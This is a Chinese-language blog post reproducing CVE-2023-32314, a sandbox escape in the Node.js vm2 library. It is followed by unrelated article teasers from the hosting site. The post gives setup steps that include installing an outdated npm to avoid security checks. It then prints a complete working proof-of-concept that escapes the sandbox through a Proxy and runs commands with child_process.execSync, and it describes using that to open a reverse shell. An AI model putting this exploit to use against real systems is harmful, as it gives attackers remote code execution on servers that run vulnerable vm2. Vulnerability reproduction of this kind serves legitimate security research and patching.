Vm2沙箱逃逸漏洞复现(CVE-2023-32314)

news2024/10/1 19:40:02

0x01 产品简介

Node.js

Node.js 是一个基于 V8 引擎的开源、跨平台的 JavaScript 运行环境,它可以在多个操作系统上运行,包括 Windows、macOS 和 Linux 等。Node.js 提供了一个运行在服务器端的 JavaScript 环境,使得开发者可以编写并发的、高效的服务器端应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型来支持并发运行。它支持通过插件扩展 API,以及通过 npm(Node.js 包管理器) 安装其他插件和模块。Node.js 还提供了一些内置模块,如 http、fs、path 等,使得开发者可以快速构建网络应用程序和文件系统。

Npm

NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。

简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。

VM

在 Node.js 中,VM(Virtual Machine) 是一个用于解释和执行 JavaScript 代码的引擎。VM 是一个沙箱 (sandbox),它允许 Node.js 在执行脚本时限制其访问系统资源的权限,以防止脚本执行恶意代码或访问不必要的系统资源。

VM2

由于vm不安全,能轻易地获取到了主程序的全局对象 process,造成沙箱逃逸,所以有了vm2。vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。

0x02 漏洞概述

     3.9.17 及以下版本的vm2中存在沙盒逃逸漏洞。它滥用基于代理规范的宿主对象的意外创建,并允许Function在宿主上下文中通过 导致RCE。

0x03 影响范围

   Vm2 <= 3.9.17

0x04 复现环境

centos7安装nodejs,再安装受影响版本 Vm2@3.9.17,(经测试,触发漏洞需要高版本nodejs和低版本npm)

注:众所周知新版的NodeJS已经集成了npm的,所以要单独安装nodejs

安装低版本npm是为了规避npm内部审核机制,(如下图、高版本npm会强制检查vm2安装包的安全性)

复现环境版本:nodejs:16.18.1 、npm1.3.24、

安装步骤如下:

安装系统软件源

yum -y install epel-release

安装nodejs

yum install nodejs

安装低版本npm

下载安装包 

wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz

安装gcc

yum install gcc openssl-devel gcc-c++ compat-gcc-34 compat-gcc-34-c++

解压包

tar -xf node-v0.10.25.tar.gz

进入nodejs目录

cd node-v0.10.25

配置目录 

./configure --prefix=/usr/local/node

安装npm

make && make install

添加软连接

ln -s /usr/local/node/bin/* /usr/sbin/

验证是否安装成功

node -v
npm -v

 安装Vm2@3.9.17

npm install vm2@3.9.17

0x05 漏洞复现

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("执行的命令").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

创建个js文件写入poc,并运行

反弹shell

执行命令处写入反弹shell指令 ,攻击机提前开启监听

   执行js文件,反弹成功

 0x06 修复建议

官方已发布新版本,受影响的用户尽快升级至安全版本

https://github.com/patriksimek/vm2/releases/tag/3.9.18

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/544874.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flask框架总结

python的web框架 Flask 参考: https://dormousehole.readthedocs.io/en/2.1.2/tutorial/factory.html 一、启动脚本 随便编写一个py文件,如test.py from flask import Flaskapp Flask(__name__)app.route("/") def hello_world():return "<p>Hello Fla…

SpringBoot开发实用篇1

一、热部署 1.手工启动热部署 经过测试当前是没有启动热部署的&#xff1a; 再将sout的信息多复制几份&#xff0c;刷新功能&#xff0c;发现控制台还是只打印一行信息。说明当前热部署是没有生效的。 手动开启热部署&#xff1a; 在pom.xml文件中加入开发者工具配置热部署…

springBoot-Mybatis-Plus 多数据源切换实现

前言&#xff1a;本文主要通过AbstractRoutingDataSource&#xff0c;实现根据 http 访问携带的标识动态切换数据源&#xff1b; 1 AbstractRoutingDataSource 介绍&#xff1a; AbstractRoutingDataSource 是 Spring 框架中的一个抽象类&#xff0c;它可以用来实现动态数据源…

2023年数据分析的就业薪资水平情况

2023年数据分析的就业薪资水平情况 数据已经成为我们工作生活不可缺少的一部分&#xff0c;也成为企业提高竞争力的有效支撑。随着越来越的企业进行数字化转型&#xff0c;对于数据的需求也将越来越大&#xff0c;那么对于正在学习数据分析或者想学习数据分析的小伙伴来说&…

浅析基于AI视频智能识别技术的医疗废弃物智能监管及风险预警方案

一、方案背景 医疗废弃物含有大量的细菌、病毒、化学污染物等&#xff0c;若是回收处置不当、工作人员防护不到位等&#xff0c;会严重影响公众及个人的健康及周围环境。 对医疗废弃物的规范管理&#xff0c;也成为医疗废弃物处置行业的重要一环。传统视频监控方案主要依靠监…

漏电保护插座插排真的有用吗?同为科技(TOWE)漏保系列PDU产品

所谓漏电保护&#xff0c;是指当电气设备绝缘发生故障&#xff0c;电线和地之间、线路和线路之间、工作回路与不能带电的金属壳体形成电流通路&#xff0c;叫做漏电&#xff1b;为预防漏电对人体造成伤害&#xff0c;就产生了各种漏电保护装置&#xff0c;当电路中的漏电流超过…

数字孪生:双碳目标推动下的汽车动力电池发展

据中汽协统计&#xff0c;2022年我国新能源汽车持续爆发式增长&#xff0c;销量超680万辆&#xff0c;已连续8年位居世界第一&#xff0c;保持“快车道”发展态势&#xff0c;引起西方发达国家的高度重视。相当一部分国家以产品全生命周期碳排放为基础&#xff0c;试图建立新的…

一文带你了解移动入库指南(详细版)

​ 移动入库认证周期&#xff1a; 常规为 4-6 周 中国移动是一家基于 GSM、TD-LTE、FDD-LTE 制式网络的移动通信运营商。日前已建成 5G 基站近 39 万个&#xff0c;并且全面推动 SA 网络&#xff0c;同时和中国广电共同发展 5G 网络。作为全球 5G 网络覆盖广、用户规模大的通信…

Q1业绩整体回暖,影视行业找到增长新路径

凛冬已过&#xff0c;影视行业恢复了生机。 数据显示&#xff0c;今年一季度&#xff0c;影视院线板块全部上市公司分别实现营收、归母净利111.86亿元、10.15亿元&#xff0c;同比增幅为1.44%和53.76%。在经济复苏的背景下&#xff0c;影视行业实现了扭亏为盈和跨越式增长。 …

Fiddler抓包丨最常用功能实战演练

目录 一. 停止抓包 二. 清空会话窗 三. 过滤请求 只显示目标请求 只抓取目标端的请求 四. 解码 五. 设置断点 伪造客户端请求 伪造服务器响应 注意事项 六. 总结 结语 通过上一篇文章Fiddler移动端抓包&#xff0c;我们知道了Fiddler抓包原理以及怎样进行移动端抓包…

虎牙直播在微服务改造的实践总结

博主介绍&#xff1a;✌全网粉丝4W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战、定制、远程&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面…

一文快速了解浏览器Sui Explorer

Sui作为一条基于第一原理重新设计和构建而成的L1公链&#xff0c;所有区块和交易信息皆公开透明&#xff0c;每个人都能自行查看。通过Sui链上浏览器&#xff0c;用户可以迅速了解链上的交易情况&#xff0c;比如当前的TPS和Gas价格&#xff0c;也可以使用Digest来查看特定交易…

工厂安灯呼叫系统解决方案

在选择安灯呼叫系统之前&#xff0c;需要先了解自己的需求。不同的工厂可能有不同的需求&#xff0c;例如生产线的规模、生产过程中可能会出现的问题等。因此&#xff0c;选择安灯呼叫系统之前&#xff0c;需要先考虑自己的需求&#xff0c;以便选择到最适合自己的系统。要从多…

三十九、分布式事务、seata、

1、事务 事务(TRANSACTION)是作为单个逻辑工作单元执行的一系列SQL操作&#xff0c;这些操作作为一个整体一起向系统提交&#xff0c;要么都执行、要么都不执行。 1.1 ACID事务的特点 原子性: 一致性&#xff1a;隔离性持久性 1.2 事务并发带来的问题 脏读 幻读 不可重复读 …

Mongodb Shell 常用操作命令

目录 一、启动与关闭mongodb服务 二、进入shell操作 三、常用shell命令 一、启动与关闭mongodb服务 启动:命令: ./mongod -config ../data/mongodb.conf 关闭命令: ./mongod -config ../data/mongodb.conf -shutdown 二、进入shell操作 命令:./mongo 三、常用shell命令 sh…

mysql查看实时执行的sql

MySQL默认不能实时查看执行的SQL语句&#xff0c;因为这会消耗一定的资源。 要开启这个功能&#xff0c;稍微配置一下&#xff0c;打开这个LOG记录就可以了。 查看开启情况 SHOW VARIABLES LIKE "general_log%";general_log值为OFF说明没有开启&#xff1a; 打开…

C++——内存管理+模块

作者&#xff1a;几冬雪来 时间&#xff1a;2023年5月19日 内容&#xff1a;C——内存管理模块 目录 前言&#xff1a; 1.new和delete操作自定义类型&#xff1a; operator new/delete&#xff1a; 定位new表达式&#xff08;placement-new&#xff09;&#xff1a; …

横向对比 11 种算法,多伦多大学推出机器学习模型,加速长效注射剂新药研发

内容一览&#xff1a;长效注射剂是解决慢性病的有效药物之一&#xff0c;不过&#xff0c;该药物制剂的研发耗时、费力&#xff0c;颇具挑战。对此&#xff0c;多伦多大学研究人员开发了一个基于机器学习的模型&#xff0c;该模型能预测长效注射剂药物释放速率&#xff0c;从而…

软件物料清单:打开软件资产黑匣子的关键钥匙

大家有没有遇到过&#xff0c;手机被免费召回维修的情况&#xff1f; 有些人可能遇到这样的问题&#xff0c;手机购买一段时间后&#xff0c;突然收到手机品牌官方发布的通知&#xff1a;听筒模块上的某个组件可能会发生故障&#xff0c;会出现拨打或接听电话时听筒发不出声音的…

接口自动化【五】(HandleRequests类的封装,及postman上下接口依赖的初步认识)

文章目录 前言一、封装发送请求的操作二、迷惑的知识点三、postman的全局变量机制总结 前言 所有的封装就是一种思想&#xff0c;这种思想能不能想到&#xff0c;其实跟写代码建立思维有很大的关系。 下面也是我学到的一种思想&#xff0c;其中对每个函数有解读。以及易错点的…